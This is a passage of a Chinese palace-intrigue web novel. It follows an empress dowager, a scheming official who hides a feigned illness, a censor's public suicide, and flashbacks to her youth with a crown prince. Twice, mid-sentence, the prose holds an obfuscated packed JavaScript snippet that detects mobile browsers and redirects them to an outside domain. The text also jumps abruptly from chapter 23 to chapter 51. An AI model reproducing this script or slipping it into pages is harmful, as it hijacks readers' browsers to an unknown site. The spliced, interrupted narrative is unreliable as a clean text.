她抬眼看向身后那个失礼之人。 徐卿安幽幽望着她,正色道:“从这个地方往下的第一个歇脚平台后面有一大片未开的芍药花叶,虽在野道之中,但常有人去。” 二人对视,上官栩沉吟一瞬,颔首低声道:“好,我知道了。” “刚才……” “刚才那里的痕迹我来处理,娘娘先行。” “嗯。” …… 苏然下山的速度很快,不见背影后,徐卿安从山道拐角后出来,看了眼手中把玩着的一片芍药花叶,又想起刚才和上官栩心照不宣的配合。 倒是还有些默契…… 可是他忽而想到她刚才在他面前极近失态的放肆笑容,目中又渐渐藏起冷,转头望向山下离去的马车队伍。 他眼眸无情地凝望着,心中却生出一股近乎怪异的矛盾情感问:“我用你曾经用过的方式对付别人,你一定很喜欢吧?” —— 时值二月,寒潮未退,宫里传了旨意出来,陛下偶感风寒,需以温泉疗养,适三月又逢春猎,故而准备举宫迁至骊山行宫,大小朝事皆于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722431|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行宫举行,待春猎结束后再行返回。 而同时间,徐卿安也伤好复职,去了刑部做事。 御史台的事情最近仍是没有着落,此前上官栩和苏望商议,让刑部和大理寺协理调查此事,如今徐卿安复职,他身为亲身经历者,自也接手了刑部关于御史台那块的事务。 在此之前,刑部和大理寺的人已将当夜台狱执勤的狱吏全部问了遍——当夜并无可疑人出入台狱,期间只狱吏换过几次岗。 旁的人不清楚,但徐卿安自然知道苏然既行了此事,定是一早就安排好了,说不定那些狱吏都是他的心腹,自然就问不出什么了。 徐卿安也不急,只寻了些兽皮来,一天之中无事时就用刀在上面捣鼓着。 小皇帝染了风寒,精神不好,吃不下东西,御医也没办法,毕竟喝药只能养身,心情不畅便不是他能调理的了。 正当小皇帝身边之人都无计可施时,刑部员外郎徐卿安突然向皇帝献了个东西——一对皮影。 小皇帝立时起了兴致,而皮影形状与背后故事挂钩,他便召了徐卿安进宫,要他一连几日为他讲戏。 能让皇帝吃下饭,这自然是可允准之事。 又恰在这个时候刑部的人寻到了一个倾脚工。 当日刑部就得到一个消息,刘昌自戕当夜,倾脚工在处理台狱里的秽物时,见到一个人从台狱里走了出来,而那时应是寅时五刻,不属于狱吏换班的时辰。 整个刑部一下沸腾,立马找了画师,要画师依那倾脚工的描述将那人的模样画出来。 结果出来时,众人皆是一惊——那人竟是之前和徐卿安同查一案的御史陈峰。 而更令人震惊的是,刑部的人刚到府上拿人时,陈峰面上表情坦然,竟毫无畏惧可言。 他更是当着众人高声承认他对刘昌所为之事,自述自己早知会有今日,夙夜难眠,如今却也算解脱。 只是他忽而大骂当朝太后任人唯亲、目光短浅,只知行小人之举,刑部众人本欲将其控制,然而他却突然将手中绝笔信撒出,从袖中掏出一把匕首于众目睽睽之下自刎。 血溅门楣,当场之人无不惊目扼腕。 陈峰绝笔信中有段话写道: 夫大晋主君冲幼,而太后无诏临朝秉政,名为垂帘,然用人却不以贤能为尚,惟以悦己为要,致庙堂之上贤才困厄于下,而幸臣扶摇而上,此非纲常混乱哉?此非社稷倾覆之兆哉! 23. 第 23 章 陈峰认下了他逼刘昌自尽转而借其血书污蔑徐卿安一事。 不过原因很简单,只因他觉得与他共事者是“幸臣”,他心中愤恨难平便就想借刘昌之手和熙宁旧事除幸臣正朝纲。 他自刎之时言语激昂无畏,倒真像是一个受到迫害的沧海遗珠。 而此事在朝堂上也传播得很快,不多时一群官员便就事上奏,话里话外都议着太后听政是否合仪。 毕竟苏相能够辅政是有庄帝遗命在,而昭帝猝崩却未留遗诏,那太后又如何能因皇帝年幼而垂帘佐国呢? 不过幸好的是,一早决定好的举朝前往骊山行宫将此番议论带离了长安城。 受最近言论影响,上官栩已几日没有出现在朝堂上,只到了骊山之后就带着小皇帝徒步散心。 徐卿安因献皮影最近甚得小皇帝喜爱,故而也伴驾随行。 最近天气好,骊山周边的山林里都陆陆续续开出了小花,小皇帝登山途中看见些一路都往上追着。 上官栩带着徐卿安在后面慢行。 “徐大人还真是行事处变不惊啊,外面传言都那样说了,徐大人也不避避风头,还敢与我一同登山。”登山途中,上官栩一边望着前面的小皇帝一边淡淡地说道。 她口中说的那个传言自是指陈峰绝笔信中提到的“幸臣”,陈峰之事不仅对她摄政造成了影响,就是徐卿安作为其中所指的那个幸臣如今也算是在风口浪尖上的。 而徐卿安却故意问一句:“哪样说了?”他笑了下,“娘娘都说了是传言了,总不能别人说什么就是什么吧,那臣还活不活了?” 说着,他又一改神情,正色道:“外面说臣是幸臣,但臣身为当事之人自是清楚,臣能行至今日,全靠的是臣的才能能得太后娘娘信任,断未行什么投机取巧之事,故而也就不会将那些传言放在心上。” 上官栩转身看向他,眉头微扬,目中微带诧异,他说得这么一本正经,仿佛几日前在净明寺后山上对她示情表爱的不是他一般。 她一下没忍住,带着促狭地笑叹一句:“徐大人的脸皮还真是……白净啊。” 他颇为自在地颔首回以微笑,仿佛并未闻得她的讥讽之意:“少时是太阳晒得少了些。” —— 小皇帝在前方还算平坦的一块地方停下,待到上官栩他们来时,他指着山壁问:“母后,为什么这里这么多树枝啊?” 寻常时段,除骊山行宫外,骊山周围的山林都对百姓开放,而上官栩现在所行的山道旁的山壁就有几处不同岩石之间构成的缝隙,缝隙间填满了竖立的树枝,想来就是那些百姓所为。 小皇帝还在接着问:“这样做是有什么作用么?” 上官栩停下脚步,向他所指的方向看去,眼中似有所忆道:“以前听人讲过,有人认为山有神灵,故而觉得将树枝撑在山石缝隙间能借山神之力护佑腰肢康健。” 小皇帝点点头,随即弯腰去捡了根树枝:“那朕也要撑一根。” “陛下!”身边的太监惊目阻止,小皇帝停下瞧过去,他又扯着嘴角笑了笑,躬身道,“陛下是天子,不用做这个。” 小皇帝不解:“为什么?天子也是人,不也可以讨个吉利么?” “陛下年纪尚小……” “大监的意思是,陛下年纪还小,还没有腰,也就不用做此仪式以求腰肢康健了。”上官栩接过话道。 “没有腰么?”小皇帝依旧不解,手按上后背,“可不是就在……” 他看了眼大监又看了眼上官栩,见他们都神情肯定,便又转头去问徐卿安:“徐卿,小孩子真的没有腰么?” 近日来,徐卿安为他讲了许多关于皮影戏的故事,又知他是双元,小皇帝便也觉得他所知甚多。 徐卿安俯眼看去。 他垂眸想了想,笑了下,目光清浅地温声道:“无夭,无夭,小孩儿无夭。” 刹那间,上官栩神色全敛,瞠目看向了前侧那个待人和善的青年。 记得那年,他与她说过相似的话—— “太子哥哥,为什么大人们都喜欢说我们这个年纪的孩子没有腰啊?” 房间内,一国储君端坐书案前,辉光映洒,端方雅正。 他仔细思忖片刻,慢慢带起笑,温和答道:“许是腰与早夭之“夭”同音吧,小孩无腰,便通无夭,长辈们如此说,当也是希望我们都平安顺遂,成长无忧。” —— 少时,上官栩的性格并不算恬静,比起其它书香门庭家里的大家闺秀,她不及她们那般沉稳,而行事更显无拘。 她与他的初见是在他的一声“可要一起看会儿书”中结束,而他们的第二次的相见亦是从他到上官府问经开始。 少年储君顺着游廊走来,不经意间瞥见院中一角的大树下,似乎有一位对爬树跃跃欲试的女郎。 “阿栩妹妹?” 温和而熟悉的声音自身后响起,上官栩一顿,缓缓转身。 “太子殿下!” 她惊讶于来人的身份,慌慌忙忙间便准备行礼,但奈何手上捧着东西,姿势并不标准。 周景知也并不介意,反是见她不便快速伸手扶住她,让她不必多礼。 “阿栩妹妹……是想爬树么?”他想起她刚才的动作,小心翼翼说出自己的猜测。 而上官栩却坦然道:“是啊。” 她将掌心中捧着东西给他看:“要送它回家。” 少女衣袂微脏,然阳光之下,神情却灵动无比。 那样的明亮。 周景知垂下眼帘,掩着笑,见她掌心中的是一只似才破壳不久的小鸟。 他抬头往上,才见树梢处有一个鸟窝。 然而树木高耸,他不由得劝道:“沿枝爬树,实在危险,阿栩妹妹何不让人寻把梯子来?” 上官栩抿唇。 那日,他们一同守在树下,等着人送来木梯,将小鸟送了回去。 也因此耽误了他问经的时间,而待到上官栎寻过来时,他才明白她为何先前独自在此—— 她是偷偷从房间里跑出来的。 上官栎本是见太子久不至书房才出来寻人,没想到还抓到了本应在房中读书的上官栩。 “嘿嘿。”上官栩尴尬地笑两声,又心虚地移开眼,“我是把书读完才出来的,总不能因为我书读得快就非要让我把时辰坐够了才出来吧?” 上官栎无奈:“温故而知新,你只读书却不温书,书中奥义能习得多少?” 上官栩小声:“温书也温得快。” 见上官栎上前,还以为要来抓她,她忙后退一步,控诉道:“一个人在房中看书就是没意思啊,又不像大哥一样可以去弘文馆和那么多人一起研学。” 上官栎一怔,没想到她会说这个:“那我带你去弘文馆?” “不要。”上官栩不过随意找了个借口,哪能说去就去,“你们年龄和我相差都太大了,和你们一起读书我跟不上。” “那你想谁和你一起?” “太子殿下就很好啊。” 上官栩瞬间语出惊人,在场之人纷纷瞠目震惊。 而她偏偏又突然昂首,望了一眼站在一旁的少年。 周景知刚好对上那一眼,脸瞬间赧然得通红,慌忙垂目。 上官栎忙找补道:“你怎能让殿下陪你一起读书?” 上官栩挑眉,她当然知道不能了,不然她怎么会说这句话。 可是站在那里的少年双耳绯红,却轻声开了口:“可以啊,能和阿栩妹妹一起读书当然是很好的。” 啊? 争辩停止,上官兄妹同时诧异。 …… 后来他来时,她便总和他一起读书,初时她总觉得是个枷锁,渐渐的她却也觉得甘之如饴。 他年龄虽只长她不到两岁,但却比她沉稳很多,他看书时不爱说话,她便也静静地坐在一旁,时不时地抬眼瞧他。 君子如玉如竹,书中所写竟也真真切切地在现实中看到了,就这样不知不觉的,她也开始觉得读书是个好事情。 自那日之后,她便应了他的提议不再称他太子殿下,而叫太子哥哥。 太子哥哥温柔、博学,身上还总有淡淡的兰香,他安静地坐在那里,有时都会让她恍惚地以为他就是圣人,总之,她很喜欢和他呆在一起。 在她心中他总是懂得很多,她便时常向他请教问题,无论是书中的难点也好,还是一些俚语的由来也好,他都不厌其烦地为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733118|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她讲解,比如“为什么小孩子没有腰”。 —— 上官栩凝眸望着还在与小皇帝说话的徐卿安。 皇帝还问了几个问题,徐卿安都温和耐心地笑着给他解答了,这个时候,上官栩没有在他身上看到一丝阴云之气,仿佛之前行那些阴谋诡计的人不是他。 甚至会觉得,这样的人怎么会去做那些事呢? 小皇帝又带着人往山上跑去了,徐卿安站起身面泛微笑望着,转眼间,视线扫到上官栩的脸上。 他微微一滞,旋即唇角挑得更高:“娘娘这样看着臣,是臣脸上有什么东西吗?” 似想起她刚才夸他脸皮白净的话,他连忙用手指随意在脸上擦了擦,就像真担心有什么东西糊在了脸上一般。 上官栩笑了笑,回过神:“没有,我只是刚才发现徐大人懂的东西还挺多的。” 徐卿安微微一笑:“想来是因为臣以前读书的时候总是管不住自己,爱去看一些杂文轶事,所以如今便能说上几句。” “让娘娘见笑了。” 上官栩先没去理会他的话,转身向青禾使了个眼色,就见青禾带着身后的宫人全都往上走了。 旁边的山壁微斜,有一块地方被空出来,上面又有草木横生,就像是一个浅浅的山洞,上官栩往里走了几步。 徐卿安跟随其后。 众人尽数远离,而山壁下清幽。 上官栩转身,复而向身后之人看去,只是她话风急转,突然问道:“近日朝堂上的事,你准备怎么处理?” 徐卿安抬眸与她相望,山壁下,光线不比外面,睫毛下的阴影更为明显,唯那双眼睛依旧明亮,他双手叠握,垂在身前,脸上仍微微带着笑。 —— 他少时爱读书,上至圣人古籍,下到进士文章,只要与治国修身相关,他都会寻来研读。 而到后来,他在上官府与她读书时才发现,他还需要读一些民俗相关的典籍,虽说最初的目的是想要解答她的一些天马行空的问题,但她却也是因此提醒了他,他身为储君也需贴近百姓,想百姓所想,知百姓所求。 那日,他本正看着新科进士的策论,却总是控制不住地时不时地偷偷抬眼看她,果然在他一次抬眼见到她向他看来。 他眼睫一颤,慌忙埋头。 但其实她并没有察觉到他在看她。 她起身离开位置,向他走来。 “太子哥哥……” 温软的声音在耳旁响起,少年装作若无其事地抬起头。 其实他最初是想让她唤他“景知哥哥”,以对他唤的“阿栩妹妹”,可是太子名讳旁人不能轻易而唤,更担心称呼亲昵唐突了她,便暂时作罢。 他侧过身子,柔声问:“怎么了?阿栩妹妹。” “嗯……”少女抿唇先看了眼他案上看的书,“太子哥哥看的是进士文章?” 他含笑点头:“春闱才过,今年出了好几篇锦绣文章,我便借了誊抄的版本来学一学,书中有些知识偏晦涩深奥,而进士的文章则通常会将它们利用起来,以策论的形式去诠释,我便能借着更好地去理解。” “哦……”少女似懂非懂地点点头。 其实他还想问一句要不要和她一起看,一起研学,可是想起他们初见那次,就因为这句话,将她吓跑了,他便不敢再问了。 而她此番前来自也是有自己的打算,见他眼下并不繁忙,适才问道:“太子哥哥,为什么大人们都喜欢说我们这个年纪的孩子没有腰啊?” 他微微一愣,然后才明白了她刚才的意图,不觉一笑。 …… 无夭,无夭,小孩儿无夭。 刚才的话语和以往场景在徐卿安脑中重现在了一起。 他眨眼垂眸一瞬。 “如今朝堂局势于娘娘来说确实不利。”他开始回答她的话,“所以娘娘当务之急就是要想办法尽快将局面扭转。” 上官栩以为他正要说他接下的打算,谁知他望来时突然唇角一勾,一双桃花眼带上笑,目光之中多了几分戏谑和恶劣。 周围投下的阴影落在青年的身后。 “那么娘娘,”他的语气依旧温和,“当下情况,就该由臣……来谈条件了。” 50-60 第51章 徐卿安那话问得突然,然而当上官栩抬眼朝他看去时却也不见他眼中有多少期冀,似乎随意的一个答案他能接受。 上官栩垂眸想了想他刚才的那问,忽而笑道:“我自然……” 会毫不犹豫地杀了你。 “是会封你做我的宰辅的。”她抬起眼。 徐卿安长睫闪烁而语气平淡道:“能得娘娘此言,臣万幸三生,娘娘……”他压着心中的戾气回笑,“和您在一起的每一天……” 我都想掐死你! “我都爱慕着您。”温雅的笑在他脸上漫开。 上官栩莞尔:“徐卿心意,我一直知晓,亦会……慷慨回应。” 话落,上官栩转回身,同时间他也松了手,袖袍划过掌心,泛起一阵刺痛。 上官栩一径往前,开了房门,而徐卿安视线下移,翻过手掌,日光照进来,掌心的那抹红痕更加明显。 —— 上官栩快步去了府门外,到了马车旁停下。 荀阳垂手站在旁边,见她来,立马向她拱手道:“殿下。” “怎么回事?为何晕过去了?”上官栩语速虽快,但声音还算柔和。 荀阳回道:“草民刚给阿筝娘子施了针,阿筝娘子身体上一时需要适应,又加上她重伤初愈,故而一时精力不济,暂时昏睡了过去。但殿下放心,没有大碍,只需静养即可,所以草民才请青禾掌事向殿下说明要尽快回宫。” 上官栩向马车中望了一眼:“那可有其他要注意的地方?” 荀阳思忖:“或许这次施针之后这位阿筝娘子会因想起往事而出现头疼症状,到时殿下或可已按摩的方式帮她缓解就好。对了,还请殿下稍后,阿筝娘子这一阶段该用的药草民也已提前备好,草民这就去取来。” 上官栩颔首:“有劳。” —— 待送别太后的车马离开后,荀阳才长长地舒了口气,他转头看向一旁的徐卿安,见他视线还停在车队离去的方向。 荀阳见状正准备开口时,徐卿安将头转了回来。 “进去说。” 幽幽抛下一句话后,徐卿安转身进了府宅。 至前厅,徐卿安随意寻了个位置坐下。 荀阳紧随其后:“她刚才让人给你诊脉了?” 徐卿安:“嗯。” 刚才,荀阳被带到马车上为阿筝看诊时才知道原来她身边跟了一个太医,而那太医也在荀阳上去后下了马车,那时,荀阳透过窗隙看见那太医进了府,他便知道,这一切可能是早就被上官栩安排好了的。 现是一早就押着他,然后又支开他出来让太医进去,不明摆着就是要趁他不在时找借口给徐卿安看诊么。 荀阳心有余悸道:“那那大夫说什么没?” “没说什么,号了脉就退下了。”徐卿安始终垂着眸,视线也不聚焦,似在出神。 荀阳点头:“也是,真看出什么也只会私下说,断不会当着你的面言语。” 徐卿安张开右手手掌,目光落过去:“你放心吧,应该这一次没被察觉出什么端倪。” “我来时服了三颗缓毒丹。”他补充道。 “三颗!”荀阳震惊,一下拉过他的手放在案上,又去把他的脉。 徐卿安体内的余毒顽强,平常为了要压制它,他所服缓毒丹的药劲就猛于寻常药物,故而他所用的频率也不过三日一粒,如今一下服三粒,荀阳难免就觉得这会对他身体造成极大的影响。 徐卿安淡声:“不必担心,这法子是须大夫交给我的,他说用一次没关系,只需接下来的几日小心调养着,把那药劲散去就行了。” 荀阳:“我师父竟还给你说过这话?” 徐卿安如实道:“他临走之时,我为了预防今日这样的情况便曾多问过一句。” 见他脉象神色皆无异,荀阳放下心道:“难怪我见你掌心之中多了道伤痕,是你当时情急之下去翻药伤到的?” 徐卿安握回手:“嗯。当时一听她来我便觉得不对劲,我本想去寻你,然而又听说你已被她扣在了前厅,好在情急之下,我突然想起了你师父告诉我的暂时掩盖脉象的法子,这才蒙混过去。” 那时徐卿安双眼还蒙着纱巾无法视物,所以一时不慎才被划伤了手。 荀阳轻叹:“虽然过程紧迫了些,但好在瞒了过去,而此番她虽起了疑心,但也算是亲眼验证了你的身体无碍,想来能将她的疑心打消一阵。” 徐卿安沉吟:“但愿吧,如此也不枉今日费了这番力气在她面前演了一出戏。” 演了一出能够解释他为何要不辞而别的戏。 荀阳也不再多说,只道:“之后的事情我也帮不忙,我还是去写封信给我师父吧,问问他你那三颗药下去当真就没事?”他拍了拍头,边说边往外走,“还得想想该怎么给你调养。” 徐卿安垂眸闭上眼,心绪再次混乱。 —— 回宫之后,上官栩留了刚才随行的太医问话。 “他的身子如何?可像是有顽疾的?” 太医恭敬回道:“回娘娘,那位徐大人的脉象是有细弦数脉之象,然而他适才经过打斗,又中了……催.情的药粉,故而气血上难免会有亏损,所以这样的脉象在当下情况来说也是正常的。至于娘娘提到的顽疾……除了脉象外,观他神色体态都不像有顽疾的症状。” 上官栩不可置信道:“一点都没有?” 太医颔首,正色肯定道:“甚至他五脏六腑之能比寻常人还要好。” 听到这里上官栩便觉得愈发不对,她道:“他曾说过,他幼时曾患先天不足之症,一直由药将养着,甚至之前还曾用人参丹那样的大补药吊命,而你却说他的五脏六腑之能比寻常人还要好?虽据他说,他近段时间找到了根治之法,然而仅这段时日不足之躯就能赶超常人身体,难道你们医道中真有这种靠后天医补的扭转之法?” “这……”太医迟疑,并未将话说死,“人外有人,世间善医道者众多,或许真有能士能做到这一程度,也或许是臣医术不精,未能把出那位徐大人的隐疾所在之处。” 上官栩便明白他的意思了。 她道:“我知晓了,太医便如我之前所说,依着他的脉象给他多挑些补品过去吧,记得将样子做得像些。” 太医应是。 待太医走后,上官栩兀自思忖着他所说的话。 宫里的太医就算称不上举世无双的圣手,但其医术也能够得上当世一流四字,况且她这次叫来的还是太医院最有资历的太医,连他都没查出徐卿安以往隐疾的痕迹,那么就说明徐卿安的病极大可能存在蹊跷。 只是这倒是和上官栩原本预料得相反。她原以为他是在他不足之症是否治好一事上欺瞒了她,却到现在才知道,他或许根本就没有患上过什么不足之症。 可是他又的确在她面前狼狈地吐过两次血,且次次痛苦,根本不像是装出来的。 而若说他第一次吐血,上官栩还能找到其中 蹊跷之处来说服自己,那么第二次她当是找不出任何理由。 首先,他们的相遇就充满了不确定性,她今日回上官府是她今日才定下的事情,他很难及时知道她的动向,而追杀他的那几人也确实是船商,不可能陪他演这样一出戏。 况且他完全没有理由在她面前刻意吐血又晕厥,他既已说过他病症已经痊愈,这样的表现除了让她怀疑他此前话中真实性以外没有任何意义。 而且若非是他醒后又不辞而别,她最后也不会怀疑到他的病症上。 他说他直接离开是不想将自己的不堪表现在他人面前,就算如他所说,是这个理由,那太医诊出的他或许并未患过隐疾的结果又该作何解释呢? 要知道,一个健康的人若是要吐血当是要受到极大的刺激,今日他虽和人拼杀,但他并未受严重的内外伤,就算加上那催.情药的作用,当也不至于让一个健康之人,甚至是五脏六腑之能优于常人的人吐血昏厥啊。 层层细想下去,上官栩竟越来越想不通。 —— 上官府内,上官栎洗浴更衣后坐上了床榻,苏凝从外间过来,递了一碗安神汤给他。 “这几日想来你没歇好,喝了这汤定定神。” 上官栎望向她微微一笑,接过瓷碗后道:“有劳阿凝了。” 苏凝无奈瞧他一眼,坐到他身边嗔他:“你我之间何必说这些话。” 上官栎笑了笑,赔礼道:“是我失言了。” 不过几日没相见,苏凝却清晰地察觉到了他的消瘦,纵是他现下带着笑意,想极力告诉她,他没有大碍,但也掩饰不住他面容上疲惫。 她便蓦地叹道:“这一次当真是担心死我了,我还以为你真的……” “那日,你和阿爹之间究竟发生了什么?为何这一次他对你的事完全不管不顾?” 甚至还有落井下石的嫌疑,苏凝没将话说完,只在心中暗暗想。 当年苏四郎的事,她亲眼见过自己父亲的狠心,然而她却没想到,他的狠心竟有一日会落在了自己的夫婿身上,而且还是毫无征兆的那种。 不,仔细回想也不是毫无征兆。 记得上官栎出事前夕,他们曾一同回过苏府,那日上官栎和苏望单独在房间叙话,却到最后二人出来时,苏望看着上官栎的眼神明显地带上了阴郁之色,而上官栎的神色也相较寻常黯淡不少。 苏凝本想问问发生了什么,上官栎却牵起她的手对她笑了笑,说了句没事。 回想往事,还历历在目,苏凝更后怕不已。 上官栎察觉出她心绪不宁,放了瓷碗,揽过她的肩,柔声道:“都过去了,不必担心了。” —— 上官栩回宫的翌日,徐卿安遇刺的事也在朝中传开。 其实事情发生当日,徐卿安就去了京兆府,将这案子立了下来。 天子脚下,朝廷官员遭到刺杀,这当然是事关朝廷颜面的大事,京兆府当夜就派了出去搜寻凶手,只是据徐卿安说,那些人都是蒙了面的黑衣人,这才一时间难寻到有用的线索。 不过案子还是要接着查下去的,且此事重大,朝会之后的内朝上,还宣了徐卿安和京兆府少尹详陈其中细节。 今日苏望犯了头疾,并未出现在朝会上,但苏家下代领袖,苏尚和苏然仍是到了场的。 殿内,徐卿安一身官袍肃立,头戴幞头,姿态端方,他无比正色地说着遇刺细节,将众臣目光都吸引过去,然而偏他那白皙俊逸的脸颊上多了一抹红痕,得见者便不觉蹙眉,在他的口述下,脑中描绘出了他遇刺时厮杀的场面。 而他那伤痕不偏不正,在上官栩端坐的那角度也能清晰地看见那抹红色随着说话动作的跳动。 苏尚抬眸,不经意地往上首位置瞧了一眼,又移回,看向了殿中说话之人。 然而他目光骤然一凝。 只因他见那人腰身上佩了往日他并未曾在那人身上见过的,香囊。 “没见到人脸,又用了弓弩,穿了黑衣,想来这是早早预谋好的事。”在徐卿安说完之后,上官栩开口道,“徐卿近日来可是得罪过什么人?” 徐卿安拱手道:“回殿下的话,臣这段时日都忙于衙门中的事,并未与朝堂之外的人有过接触,因此,臣想不到臣到底得罪了谁。” “不过……”说着,他煞有其事地补充道,“若真将那逃在外的刺客抓到了,或许也就能解答臣到底得罪了谁这一问题了。” 他这话说得轻巧,然而话外之意却直指向了朝廷中人——近日忙于公事,只与同僚相接触,岂非就是在划定这背后想杀他之人就是朝廷里的官员。 上官栩道:“徐卿说得有理,诸多疑团恐怕只有待真凶落网之后方能解惑,如此,京兆府便要多费几分心力了,皇城之下,行刺朝廷官员,此事非同小可,定要早些给出个交代。” 京兆府少尹拱手应是。 苏然闻言轻轻哼了声。 苏尚被他声音唤回神,偏过头去看他,苏然转头与他对上一眼,然而神色一如往常,亦没有多言。 —— 待到内朝散了之后,苏尚和苏然一同跨出殿时,苏尚才问道:“五哥刚才似乎对殿上所议之事有不同的看法?” 苏然看了看他,又抬眼看向了远处:“你知道昨日太后的车驾从上官府离开后没有直接回宫,而是去了安邑坊吗?” “安邑坊?” “就是那位遭到刺杀的徐大人的府宅所在地。” 苏尚神色瞬时一变:“她去他府上了?” 苏然轻叹:“我也是才得到的消息,据说是替国舅感谢救命之恩去了。可是他们昨日就已见过,那遇刺之事也是在他们相见前发生的,那有什么细节是他们不能昨日谈的,非要等到在今日内朝上说?所以他们今日所说的话就是故意说给殿上之人听的。” 可是为什么呢?意义又在何处? 苏尚和苏然同时沉吟。 身后响起一阵交谈声,二人又一起回身看去。 是徐卿安正在和京兆府少尹说话。 京兆府少尹:“好,那我先将这些记录下来,期间徐大人有想补充,或者查到了有用的线索时我们再谈。” 徐卿安微笑:“有劳少尹大人了。” 出了殿门,二人拱手告辞。 苏然看着徐卿安谈笑风生的模样,蓦地想起昨日府中之事,便愈发觉得此人不识好歹,待京兆府少尹走了之后道:“徐大人。” 徐卿安停下脚步向他看去,跳眉笑了下,似这才注意到停在一旁的两人:“苏中丞,苏侍郎。” 苏然冷脸道:“我观徐大人脸上带伤,想来昨日与那些刺客惊险厮杀了一番。” 徐卿安笑了笑:“也还好,只是挂花了脸,有惊无险。” 苏然:“然而若昨日徐大人应了叔父的话在府中用晚膳,可能也就无惊亦无险了。” 留下用晚膳,就是答应了苏望的拉拢,而有了苏望的庇护,那几家船商自然也不敢再对他下手了,徐卿安如何听不懂苏然的话中之意。 徐卿安客气笑一下:“当时哪能想到这些,苏中丞也不提醒一下。” 苏然蹙眉,反驳道:“徐大人这话说得倒是奇怪,难道我就能想到这之后发生的事了,不过就是好生提醒罢了。” 徐卿安点头道:“多谢苏中丞提醒,我会注意的。” “徐大人是双元之才,可知我大晋立国以来,也只出过两个春闱铨选在同年的双元。” 徐卿安转身欲走时,苏然蓦地说道,他停下脚步,回望回去。 苏然继续道:“一位是徐大人,另一位则是在宣宗皇帝在位年间任职过的陆姓官员,说来也巧你们二人还都在铨选后担任了监察御史一职,可是徐大人,那位的下场是罢官赐死,如今你们二人为官之路又如此相像,我曾为你的官长,见此也想忠告一句,莫要像他一样,择错了路,最后悔之晚矣。” 徐卿安不甚在意地笑了笑道:“说起那位,我倒是听说过他的一些事迹,任职御史中丞,却勾结江南世家,以权谋私,又暗通匪首,多次意图残害同僚,好在最后恶行显露,遭了个赐死的下场,所以苏中丞不必为我担心,我断不会走他那路子,倒是苏中丞,下官认为还是您要多看顾着些,您想,你们不 仅官职相同,还都和江南那边联系甚密……” 徐卿安话未说尽而意思却全都表达了出来。 苏然嘴角抽了抽。 苏尚将苏然手臂按了下,又向徐卿安笑道:“多谢徐大人好心,然而徐大人也实在多虑了,徐大人此番遇险,凶手又还不知所踪,这样的亡命之徒一计不成恐会施二计,徐大人还是在应对这些事上多费些心吧。” 徐卿安含笑回应:“好,也谢过苏侍郎的好意。” —— 内朝结束之后,就有宫女来向上官栩禀告阿筝那边的情况,上官栩听闻后心中一紧,立马快步赶去。 至阿筝卧房中时,只见她半躺在榻上,捏着被衾,靠着软枕,满头大汗,而神色亦在恍惚中,就似刚刚经过一场极为恐怖的梦魇般。 上官栩到她榻边坐下,投了锦帕为她擦汗:“怎么了阿筝?她们说你急着想见我。” 阿筝这才慢慢抬起眼看去,虚弱地启唇道:“我……又想起一些事了……” 上官栩凝眸,静静听着。 阿筝:“我本名叫姚筝,还有一个弟弟,然而我对他记忆并没有太多,应是还没想起来,不过我家里出事时的场景我想起来了。” 她惨白的唇无力地开合着,却又说着最刺痛人心的话:“我家不是因洛州水灾受得难,而是有人来行的灭门之举。” 上官栩霎时惊目。 她怔了片刻才道:“那你可记得是何人下的手?” 阿筝目中空泛地摇头:“全是蒙面人,一个都认不出,但是我阿爹那时说了一句。” 她慢慢移眼,对上上官栩的双眸:“他说……苏公就不能放过我们一家吗?” 那声音虽小,但话落之后却如有雷声在耳边震鸣。 上官栩眸光闪烁,拳头一下攥紧。 又是……苏望! —— 宫门口,徐卿安刚准备前往官署,就有内宦从宫中赶来。 “徐大人请留步!” 徐卿安应声回眸:“公公找我有事?” “是太后娘娘……”内宦急切道,“太后娘娘身边的阿筝娘子身体出了些状况,特让奴婢来请徐大人帮忙。” “徐大人可能让家中的神医入宫一趟?” 第52章 荀阳和太医在里间一起为阿筝诊治着,上官栩和徐卿安一起在外等候。 “你审的怎么样?”等候期间,上官栩蓦地开口问道。 徐卿安知道,她问的是那几个被抓船商家主,只是不知为何,他觉得她语气有些冷,亦对此事有些急迫。 徐卿安温声道:“差不多了吧,那几个人养尊处优的,稍微用点法子就基本上能招的都招了。” 上官栩冷着眸子向他看去:“是苏望让他们做的?” 若没记错,这似乎是她第一次在他面前直呼苏望的大名。 徐卿安暂时不去深究其中原因,先答道:“不是,是他们自己安排的这一切。” “你相信?” “当然。” 徐卿安补充道:“不过他们对我动手的理由却是有蹊跷,他们说,他们想杀我是因为得知了江南之事是由我主导的。这个理由确实可信,然而这事又是谁告诉他们的呢?” “其实从上官大人入狱开始,这事就透着蹊跷,最初,臣想的是江南之事上出了纰漏,让苏相那边察觉到了背后的身影,所以才对娘娘亲近之人下手以作反击和警示。” “然而从后续江南事务的推进上来看,却又能表明他们根本就没有察觉到我们意图。其实江南之事早在动手前,臣就与娘娘想了祸水东引的法子来避免苏相的怒火,所以按道理说,他就算要细查江南之事也绝不可能在这么短的时间内查出端倪,更不用谈那几个船商了。” 上官栩听完接言道:“所以那几个船商得到的消息是有人故意放给他们的,而放消息的人也并无证据,他只是想找个理由激那几个船商对你动手。” 